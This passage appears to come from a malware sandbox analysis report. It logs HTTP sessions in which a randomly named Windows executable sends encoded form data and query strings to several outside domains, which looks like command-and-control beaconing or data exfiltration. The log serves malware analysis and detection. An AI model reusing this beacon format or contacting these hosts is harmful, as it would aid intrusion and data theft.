76 79 4d 38 4f 53 6f 67 42 4f 7a 67 61 6a 6f 74 63 77 5a 31 2b 53 48 5a 50 73 46 4e 57 4a 5a 30 37 4c 6c 7a 69 34 42 61 32 5a 4d 66 6b 37 55 58 33 4a 65 6b 62 30 72 4f 6b 49 65 56 6f 59 31 32 35 6a 6e 49 34 55 38 2f 61 2b 57 62 56 64 70 65 44 48 72 37 31 67 6e 72 47 6e 71 75 4c 34 41 33 5a 31 6e 74 59 62 76 4f 56 32 2b 56 74 66 33 38 38 57 2f 67 5a 64 2f 44 63 32 6f 47 35 66 4c 70 77 7a 32 59 62 62 77 67 37 39 44 2f 4f 44 2f 73 49 37 37 5a 37 55 32 42 4f 37 54 34 48 5a 74 41 75 43 38 61 74 54 50 68 6a 38 4b 38 47 56 4d 6d 55 74 72 42 44 7a 36 78 43 4f 52 4e 79 59 78 42 51 48 62 6f 47 69 79 2b 33 62 4a 48 79 50 45 55 50 45 72 4e 4a 57 46 59 35 33 5a 6f 51 4d 68 4d 63 54 77 6f 59 68 6f 76 69 54 49 35 38 32 61 55 34 43 51 36 37 53 53 31 76 64 73 58 53 74 52 76 2b 76 68 38 55 62 6c 71 6e 6f 76 32 [TRUNCATED] Data Ascii: 6B-l7F=lcXtcPN+FJHJ5NXw85BTu/jU86v2beNYYIYYdDyybSjtq1m9jwkZ2mhsW82AiEgvyM8OSogBOzgajotcwZ1+SHZPsFNWJZ07Llzi4Ba2ZMfk7UX3Jekb0rOkIeVoY125jnI4U8/a+WbVdpeDHr71gnrGnquL4A3Z1ntYbvOV2+Vtf388W/gZd/Dc2oG5fLpwz2Ybbwg79D/OD/sI77Z7U2BO7T4HZtAuC8atTPhj8K8GVMmUtrBDz6xCORNyYxBQHboGiy+3bJHyPEUPErNJWFY53ZoQMhMcTwoYhoviTI582aU4CQ67SS1vdsXStRv+vh8Ublqnov25i2a05JwCCuayX5Tiv3Q9r0l2Fk9jAwMH1wZw7MU2xc22Q9Xoy62a9L7gbvjufuA9onDxUPyGflXzVBnC+4/TasnwSZGBNGoCy37jJpOZkCIQuGZCMDoKecPAkvMmOZj7oEIfj+U3iIJAITGmTg3kriOwwkDRkuKDeUzyxDHv6u5TkqIQkWiPtqB8GtCaX8ayvIk2j2WjKdpy+U+X3hfV4K3LZblCI2wnCdc24Y07fRW3+xG2g6IRWSCf+N0ifbV4QjMETcMjNAtEnGxuxZ/couwq84+S08yllM2dxP5zJEhXSJ6nKM3bqgFzB9yKX5Wp7L6u+vEl7lZprIcYbY+HuE8GqEwAiy40/X+djjFtvLcJcfKpcuixYlHFPwn8G2Gh7eYBkSPwrsRW5n7fEvq8akP2xwma/LBhahgevVwbCp/1IWFoBtTD2y630B2+0fpRwZB2ZHwjruH9Kc6+bqQnqqW9i0CFFbV5GIgY6VF186XPC/VviO4JPKeLtAakEyKtFyNlSfdorXtJC7tIGguxzTHXVXta0oYY54uIuzAaYa2axOJlmDLXOupbXS+8KM+jblMR6xqA+1leyw+Lhp3ZNn+cFFnkpisDYQyYm6yp/ZolbX31B/sRwEHD9FxPCxJGulJuq4hEcFVhEda0jAk7pqWJo7eXrhMWK [TRUNCATED]
Jan 9, 2025 16:54:40.359307051 CET	1352	OUT	Data Raw: 47 53 65 75 37 63 75 42 76 70 74 36 59 33 30 47 62 42 57 44 35 65 70 7a 63 4a 61 4f 53 71 78 35 62 71 71 46 6a 4a 4f 31 52 5a 33 61 2f 4a 2f 2f 78 68 78 39 41 58 6f 68 41 50 73 42 2f 6e 68 37 6c 51 6b 76 6e 55 72 43 30 59 6a 44 38 74 35 75 76 4a Data Ascii: GSeu7cuBvpt6Y30GbBWD5epzcJaOSqx5bqqFjJO1RZ3a/J//xhx9AXohAPsB/nh7lQkvnUrC0YjD8t5uvJH+btWLlkM5T++pBUQ57tsNVA25ZzYgNS9RHwBLeXsMQCl1VLVt7rV7Ule2JzZukKpuKoTaiQijN4V6v5WrCsKUfUXnwhlGUX+vMWIlAoMw/PWjcHnvseFjA8OX1jj+yoW515+tok/RZwFLSS3I98ReNPwgY/iFRDm
Jan 9, 2025 16:54:40.553983927 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:54:40 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.30	49835	199.192.21.169	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:43.057981968 CET	533	OUT	GET /qps0/?6B-l7F=oe/Nf5ZxPavzyNCN5fJJ2OrxgayHc7sFQb4gcz6uUjnOuiLJkTwk1EFGD/G87FIa6dxrZOgAQGccmvtK4ohyPgEShywSULdIISv/2iuVOPOn5EuQA8dSwoA=&80k=lRapCPMXgDk HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:54:43.248054981 CET	933	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:54:43 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.30	49837	47.83.1.90	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:57.128612995 CET	796	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 44 71 4f 73 54 55 66 46 65 6a 79 37 35 43 77 54 35 41 39 45 73 5a 7a 53 70 32 59 68 49 71 6b 70 43 55 75 4c 76 33 65 2b 7a 61 6b 72 30 39 67 4f 34 35 49 72 4e 62 6c 48 6b 78 66 31 75 77 56 61 73 4c 45 58 52 49 4b 66 42 64 76 4b 59 63 72 47 37 7a 49 39 6d 44 55 49 76 4f 30 71 48 74 4c 38 45 6b 43 5a 56 77 4c 76 4f 4c 4c 2b 67 4f 50 51 37 44 6f 30 33 34 31 2b 6f 53 31 7a 31 78 6d 4d 75 57 47 42 77 4b 78 58 48 72 42 41 44 6f 65 50 6f 39 57 38 58 75 38 52 71 4d 57 38 71 2b 6b 69 51 37 4e 45 4b 71 36 34 51 64 75 31 2b 36 56 72 6e 63 57 42 4e 41 3d 3d Data Ascii: 6B-l7F=TW4HYQMdIKn0DqOsTUfFejy75CwT5A9EsZzSp2YhIqkpCUuLv3e+zakr09gO45IrNblHkxf1uwVasLEXRIKfBdvKYcrG7zI9mDUIvO0qHtL8EkCZVwLvOLL+gOPQ7Do0341+oS1z1xmMuWGBwKxXHrBADoePo9W8Xu8RqMW8q+kiQ7NEKq64Qdu1+6VrncWBNA==
Jan 9, 2025 16:54:58.140507936 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:54:57 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.30	49838	47.83.1.90	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:59.975334883 CET	816	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 43 4c 2b 73 65 57 33 46 57 6a 79 36 31 69 77 54 7a 67 39 41 73 5a 50 53 70 79 68 38 4c 59 51 70 43 78 53 4c 75 31 32 2b 32 61 6b 72 38 64 67 50 6c 70 49 77 4e 62 59 6b 6b 31 58 31 75 77 78 61 73 4b 30 58 52 2f 2b 59 48 4e 76 49 55 38 72 45 2f 7a 49 39 6d 44 55 49 76 50 51 41 48 74 44 38 44 55 79 5a 58 53 7a 73 52 37 4c 68 6a 4f 50 51 74 7a 6f 77 33 34 31 63 6f 58 73 57 31 7a 4f 4d 75 54 69 42 78 59 4a 49 4f 72 42 4b 4d 49 66 4c 6b 34 7a 70 62 4e 77 6c 71 71 61 59 72 73 59 49 63 4d 67 65 58 70 4f 36 44 39 53 59 69 37 34 44 6c 65 58 61 51 45 59 46 46 41 4c 71 46 34 76 45 6d 7a 64 31 4c 4c 46 4e 32 68 55 3d Data Ascii: 6B-l7F=TW4HYQMdIKn0CL+seW3FWjy61iwTzg9AsZPSpyh8LYQpCxSLu12+2akr8dgPlpIwNbYkk1X1uwxasK0XR/+YHNvIU8rE/zI9mDUIvPQAHtD8DUyZXSzsR7LhjOPQtzow341coXsW1zOMuTiBxYJIOrBKMIfLk4zpbNwlqqaYrsYIcMgeXpO6D9SYi74DleXaQEYFFALqF4vEmzd1LLFN2hU=
Jan 9, 2025 16:55:00.987040997 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:55:00 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.30	49839	47.83.1.90	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:02.818437099 CET	3933	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 43 4c 2b 73 65 57 33 46 57 6a 79 36 31 69 77 54 7a 67 39 41 73 5a 50 53 70 79 68 38 4c 59 49 70 43 44 4b 4c 76 55 32 2b 78 61 6b 72 39 64 67 53 6c 70 4a 79 4e 62 41 34 6b 31 54 4c 75 79 5a 61 6a 49 38 58 42 4f 2b 59 4f 4e 76 49 63 63 72 42 37 7a 49 6f 6d 44 45 4d 76 4f 67 41 48 74 44 38 44 58 71 5a 54 41 4c 73 4b 37 4c 2b 67 4f 50 6d 37 44 6f 59 33 38 67 72 6f 58 59 73 31 78 2b 4d 70 6b 4f 42 78 72 78 49 4f 72 42 4b 4c 49 66 77 6b 34 33 6f 62 4e 70 35 71 76 6a 76 6f 63 73 49 66 34 35 71 54 59 54 74 61 75 36 61 6d 49 73 35 7a 74 33 30 4e 47 68 6e 55 53 57 61 54 34 44 4c 75 44 4a 33 61 65 70 61 74 68 30 68 61 30 63 73 51 39 63 4e 42 62 35 74 4b 4f 69 5a 64 46 61 48 76 74 4a 78 67 42 48 4e 62 75 4e 64 65 6e 4e 47 47 4d 70 51 49 61 39 6a 4f 74 33 73 73 75 78 49 5a 63 38 51 67 62 68 53 63 31 66 72 31 56 53 63 45 59 74 56 47 74 46 59 34 42 45 76 4a 75 52 37 6c 33 44 74 4e 6a 48 37 72 63 2f 58 4e 7a 50 72 72 30 71 34 52 43 4a 42 48 68 42 66 64 34 79 [TRUNCATED] Data Ascii: 6B-l7F=TW4HYQMdIKn0CL+seW3FWjy61iwTzg9AsZPSpyh8LYIpCDKLvU2+xakr9dgSlpJyNbA4k1TLuyZajI8XBO+YONvIccrB7zIomDEMvOgAHtD8DXqZTALsK7L+gOPm7DoY38groXYs1x+MpkOBxrxIOrBKLIfwk43obNp5qvjvocsIf45qTYTtau6amIs5zt30NGhnUSWaT4DLuDJ3aepath0ha0csQ9cNBb5tKOiZdFaHvtJxgBHNbuNdenNGGMpQIa9jOt3ssuxIZc8QgbhSc1fr1VScEYtVGtFY4BEvJuR7l3DtNjH7rc/XNzPrr0q4RCJBHhBfd4yYvNOtjBTBdGsQtdgnMEL78hGmO563XCDuoJPI1ZWZHFZ3X+w2mGC2kbQsRPXaK7nA/z+QrK6gpC8u6PWPiaGfZj6PjNBWRV9J/N9uljrKOkpC/E1/2wNDCIbR9eBBvmQT2RpmyhZiHUeYs254QkMSMWQLO1NkXlOGTvFo2Wfn1KhXbnFJLGimT6MxlzdwwpcKKAJzZKZm0nrVkzz/C533VZQcL2uNUgwgHDOQqkWYjH0aZ0xljVTBrUwDCkimuuZhkgeVtPT007y//uzLpN2WZsP9bTBDN6ZQswmegC9iq/qqKpUFE4g8w5HGw3Rr/v/tYWf7yep2k9Sj4IDP4bRbDqwwBzDMGkOQYrLdlbem+4FumMTBCM7QDRcEtUcDSmDmv1uCs0G477TkxhMLkdoa6JB72O0VHVdq56EHW4YJZFp1ecQYu1xrmeGNdI3VExexlLQBoX51Ui+gEdaqY3qPSurIEP8VE64VbvFoP2oAPgiZag2seiilWmTORTLbWYZsiDrLSGrlInU1aSmf4SIPu82+Va05mstIVATDVl2jBLJUT10qP8dU1br4Nm/GdJtI4i6+X0sNdCz17dRMDT5yOrXI/LluX4jJ/dkry1bvx3mbVfs6lgV+pm9YuDxJPvuP8Rtz/w8ep/QzPk4J+3Z8kxcXc/bIbyje6 [TRUNCATED]
Jan 9, 2025 16:55:03.815161943 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:55:03 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.30	49840	47.83.1.90	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:05.659130096 CET	534	OUT	GET /nkmx/?6B-l7F=eUQnbnMYY/LCOqGDejL9TQzNqDkA9lUjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth/8fPOW7Uk3kTT+8ArA=&80k=lRapCPMXgDk HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:55:06.653471947 CET	139	IN	HTTP/1.1 567 unknown Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:55:06 GMT Content-Length: 17 Connection: close Data Raw: 52 65 71 75 65 73 74 20 74 6f 6f 20 6c 61 72 67 65 Data Ascii: Request too large

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.30	49841	13.248.169.48	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:13.006392002 CET	799	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 43 33 66 61 59 6b 55 63 35 72 38 55 32 2b 44 57 51 41 42 74 51 2b 53 4c 35 56 7a 64 57 41 53 43 33 4a 36 67 50 47 48 4d 75 41 41 33 4a 68 2b 58 4f 30 36 52 4d 36 32 71 56 51 4b 2b 74 54 51 38 52 33 62 38 4e 76 77 43 33 7a 51 64 34 51 55 38 73 54 2b 66 78 2f 33 6c 35 2f 42 55 30 6d 41 78 32 56 70 4e 33 52 67 72 74 57 7a 4e 6b 44 45 4a 44 46 4d 74 7a 64 6e 30 63 6f 67 68 6c 73 4b 6d 66 6a 35 6a 67 4a 4a 67 67 4f 73 54 6b 48 44 47 79 41 51 4c 54 6b 75 39 38 31 43 66 65 74 45 50 75 4b 71 6c 49 49 70 66 70 4e 78 79 73 34 32 2b 6b 6c 78 77 74 78 73 71 57 30 44 67 30 4e 2b 33 48 77 3d 3d Data Ascii: 6B-l7F=C3faYkUc5r8U2+DWQABtQ+SL5VzdWASC3J6gPGHMuAA3Jh+XO06RM62qVQK+tTQ8R3b8NvwC3zQd4QU8sT+fx/3l5/BU0mAx2VpN3RgrtWzNkDEJDFMtzdn0coghlsKmfj5jgJJggOsTkHDGyAQLTku981CfetEPuKqlIIpfpNxys42+klxwtxsqW0Dg0N+3Hw==
Jan 9, 2025 16:55:13.143280983 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.30	49842	13.248.169.48	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:16.692215919 CET	819	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 43 33 66 61 59 6b 55 63 35 72 38 55 6b 4b 48 57 44 33 64 74 42 65 53 49 38 56 7a 64 64 67 53 47 33 4a 32 67 50 43 66 63 74 31 51 33 4a 46 36 58 63 42 61 52 4c 36 32 71 65 77 4b 37 69 7a 51 4e 52 33 58 72 4e 74 30 43 33 33 34 64 34 51 45 38 73 67 58 74 77 76 33 6e 67 50 42 53 37 47 41 78 32 56 70 4e 33 58 4e 4f 74 57 37 4e 6c 77 4d 4a 44 6b 4d 75 79 64 6e 31 66 6f 67 68 30 38 4b 69 66 6a 35 52 67 49 56 4f 67 4e 55 54 6b 47 7a 47 79 52 52 35 49 55 76 34 32 56 44 39 61 4f 35 41 6e 36 53 53 46 59 64 48 68 74 78 51 67 50 62 6b 35 6d 46 79 2b 52 51 48 4b 31 75 49 32 50 2f 73 61 2b 52 48 45 46 46 36 4d 46 59 6a 58 53 62 6b 4f 76 37 61 38 64 45 3d Data Ascii: 6B-l7F=C3faYkUc5r8UkKHWD3dtBeSI8VzddgSG3J2gPCfct1Q3JF6XcBaRL62qewK7izQNR3XrNt0C334d4QE8sgXtwv3ngPBS7GAx2VpN3XNOtW7NlwMJDkMuydn1fogh08Kifj5RgIVOgNUTkGzGyRR5IUv42VD9aO5An6SSFYdHhtxQgPbk5mFy+RQHK1uI2P/sa+RHEFF6MFYjXSbkOv7a8dE=
Jan 9, 2025 16:55:16.828346014 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.30	49843	13.248.169.48	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:19.366292000 CET	3936	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 43 33 66 61 59 6b 55 63 35 72 38 55 6b 4b 48 57 44 33 64 74 42 65 53 49 38 56 7a 64 64 67 53 47 33 4a 32 67 50 43 66 63 74 32 77 33 4b 77 75 58 4f 51 61 52 4b 36 32 71 43 67 4b 36 69 7a 51 51 52 33 50 6e 4e 74 35 33 33 78 38 64 2b 44 38 38 71 56 72 74 6c 2f 33 6e 6f 76 42 58 30 6d 41 6b 32 56 35 4a 33 58 39 4f 74 57 37 4e 6c 78 63 4a 58 6c 4d 75 2f 39 6e 30 63 6f 67 39 6c 73 4c 46 66 6a 77 6d 67 49 42 77 67 4f 6b 54 6b 78 2f 47 7a 6a 35 35 49 55 76 34 73 6c 44 34 61 4f 31 64 6e 36 4b 2f 46 5a 56 58 6d 65 39 51 7a 37 4c 37 6d 46 78 30 6c 33 51 49 4a 30 32 2f 36 4e 33 45 45 4d 68 4b 46 6d 70 63 4b 33 51 66 54 7a 37 59 61 66 62 6a 6a 61 7a 7a 34 61 36 59 68 5a 2f 50 52 6c 33 70 35 70 34 51 65 59 36 34 31 76 32 5a 62 66 79 64 4a 31 64 66 32 72 73 69 46 63 58 42 6e 77 37 72 54 34 69 52 67 6b 77 71 42 57 38 45 73 77 4b 6f 6c 4d 6f 55 33 2f 6f 58 54 51 64 49 4f 61 68 4f 4c 52 45 2f 5a 58 5a 6d 69 6e 46 4c 30 73 50 54 6f 53 4f 33 44 65 42 75 73 4b 49 66 6a 48 71 30 74 5a 34 68 4a 45 61 [TRUNCATED] Data Ascii: 6B-l7F=C3faYkUc5r8UkKHWD3dtBeSI8VzddgSG3J2gPCfct2w3KwuXOQaRK62qCgK6izQQR3PnNt533x8d+D88qVrtl/3novBX0mAk2V5J3X9OtW7NlxcJXlMu/9n0cog9lsLFfjwmgIBwgOkTkx/Gzj55IUv4slD4aO1dn6K/FZVXme9Qz7L7mFx0l3QIJ02/6N3EEMhKFmpcK3QfTz7Yafbjjazz4a6YhZ/PRl3p5p4QeY641v2ZbfydJ1df2rsiFcXBnw7rT4iRgkwqBW8EswKolMoU3/oXTQdIOahOLRE/ZXZminFL0sPToSO3DeBusKIfjHq0tZ4hJEaiilHmTTtD38ZGYUDM/e+hD/aMayxD5WffjOlR+OlJNk7GbIkughJUgh7xbpdD2z+cQYtEyWkzxtK34F0llOeZEevfNva/AwY/8YRHU+T1l+5SJSDev/R6wdyDmN6dBmgMb3SGyfy2DzWD99knLlkU5Ln5auYrOtk0u/vkLhgVd56DicIPZnt/lrqDdu5eur8olMVQE1xxmFRtQ89fQUOALSBerdr2Q8gWpbud3r7K78aL9VCJ5FwHkDAoppf9fJzKXf4z6E6Tm7er9Iqd1L/QnbiEVvbnAOeljtvf6XoiMFus4Yf9Um72Bcaa8qQper6F64IdmexJ80qX0YST+